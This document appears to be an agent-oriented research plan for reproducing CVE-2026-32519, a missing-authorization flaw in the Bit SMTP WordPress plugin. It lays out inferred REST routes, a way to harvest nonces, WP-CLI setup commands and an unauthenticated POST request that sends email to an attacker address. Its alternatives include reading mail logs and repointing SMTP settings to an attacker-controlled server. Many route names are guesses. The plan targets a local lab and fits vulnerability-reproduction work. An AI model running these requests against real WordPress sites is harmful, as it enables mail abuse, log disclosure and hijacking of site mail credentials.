Research Plan: CVE-2026-32519 - Bit SMTP Missing Authorization

1. Vulnerability Summary

The Bit SMTP plugin for WordPress (versions <= 1.2.2) is vulnerable to Missing Authorization. This occurs because the plugin registers REST API endpoints (or AJAX handlers) meant for administrative tasks (like sending test emails or updating SMTP configurations) but fails to implement a permission_callback that verifies the user has the manage_options capability. Consequently, an unauthenticated attacker can trigger these functions remotely.

Given the plugin's architecture (using React, Ant Design, and TanStack Query as seen in the provided assets), the backend logic is primarily handled via the WordPress REST API.

2. Attack Vector Analysis

• Endpoint: REST API route (Inferred: /wp-json/bit-smtp/v1/test-email or /wp-json/bit-smtp/v1/send-test-email).
• Method: POST
• Authentication: None (Unauthenticated).
• Preconditions: The plugin must be active. If the endpoint requires a REST nonce, it must be obtainable from the frontend.
• Payload: JSON object containing SMTP test parameters or target email addresses.

3. Code Flow (Inferred)

1. Registration: The plugin uses the rest_api_init hook to register routes.
2. Vulnerable Route: A route (e.g., bit-smtp/v1/test-email) is registered.
3. Missing Check: The register_rest_route call either:
   • Omits the permission_callback argument entirely.
   • Sets permission_callback to __return_true.
   • Only checks for a valid nonce but does not verify user capabilities (current_user_can('manage_options')).
4. Execution: The callback function (likely in a ConfigController or SmtpController) executes administrative logic (sending an email) for any requester.

4. Nonce Acquisition Strategy

While the vulnerability is "Missing Authorization," WordPress REST API routes often require a _wpnonce for the wp_rest action to prevent CSRF.

1. Identify Localization: Bit Apps plugins typically localize variables into a global JS object. Based on common patterns for this developer, look for bitSmtpVars or bitsmtp_vars.
2. Create Trigger Page: The plugin's scripts (and nonces) are usually loaded on the plugin's admin page. However, we need a way to get it unauthenticated. Check if the plugin enqueues scripts on the frontend (e.g., via a shortcode).
   • Check for shortcodes: wp eval "print_r( $GLOBALS['shortcode_tags'] );"
   • If a shortcode like [bit-smtp] or [bit_smtp] exists, create a page:
     wp post create --post_type=page --post_status=publish --post_content='[bit-smtp]'
3. Extract Nonce:
   • Navigate to the created page or the homepage.
   • Use browser_eval to find the nonce:

     window.bitSmtpVars?.nonce || window.bitsmtp_ajax?.nonce
     

4. Alternative (Common for Bit Apps): If the plugin is purely for admin use, the nonce might not be on the frontend. In that case, check if the endpoint is accessible without a nonce (some GET routes or improperly configured POST routes allow this).

5. Exploitation Strategy

The goal is to trigger the unauthorized sending of a test email, demonstrating the ability to use the server's mail-sending capabilities.

Step 1: Discover the Exact Route
Run the following to find the bit-smtp routes and their required permissions:

wp eval 'foreach( $GLOBALS["wp_rest_server"]->get_routes("bit-smtp/v1") as $path => $data ) { echo "Path: $path\n"; print_r($data[0]["permission_callback"]); }'

Step 2: Prepare the Payload
Assuming the route is /wp-json/bit-smtp/v1/send-test-email, the payload usually requires:

• to: An email address under your control.
• subject: "CVE-2026-32519 PoC"
• message: "Exploit Successful"

Step 3: Send the Request
Using the http_request tool:

{
  "method": "POST",
  "url": "http://localhost:8080/wp-json/bit-smtp/v1/send-test-email",
  "headers": {
    "Content-Type": "application/json",
    "X-WP-Nonce": "EXTRACTED_NONCE_OR_OMIT"
  },
  "data": {
    "to": "attacker@example.com",
    "subject": "Unauthorized Test Email",
    "body": "This email was sent via an unauthenticated REST API call."
  }
}

6. Test Data Setup

1. Install Plugin: wp plugin install bit-smtp --version=1.2.2 --activate
2. Configure SMTP (Optional): If the plugin requires configuration before sending, use WP-CLI to set dummy options:
   wp option update bit_smtp_options '{"host":"localhost","port":"25","user":"","pass":"","type":"smtp"}' (Note: exact option name may vary; check wp option list | grep smtp).
3. Public Page: Create a page to check for leaked nonces if necessary.

7. Expected Results

• HTTP Response: 200 OK or 201 Created.
• Body: A JSON response indicating success, e.g., {"success": true, "data": "Email sent successfully"}.
• Action: The WordPress instance attempts to send an email (can be verified via logs).

8. Verification Steps

1. Check Mail Logs: If a mail logging plugin is installed (or the Bit SMTP internal logs are used), check for the unauthorized email:
   wp eval "global $wpdb; print_r( $wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}bit_smtp_logs ORDER BY id DESC LIMIT 1\") );"
2. Verify Capability Failure: Try the same request on a patched version (1.2.3) and confirm it returns 401 Unauthorized or 403 Forbidden.

9. Alternative Approaches

If the send-test-email endpoint is not vulnerable, try:

• Log Access: /wp-json/bit-smtp/v1/get-logs (Information Disclosure).
• Settings Update: /wp-json/bit-smtp/v1/update-config (Integrity breach).
  • Payload: Change the from_email or SMTP credentials to an attacker-controlled server.
• Check AJAX: If REST routes are properly protected, search for wp_ajax_nopriv_bit_smtp actions in the source code using grep -r "wp_ajax_nopriv".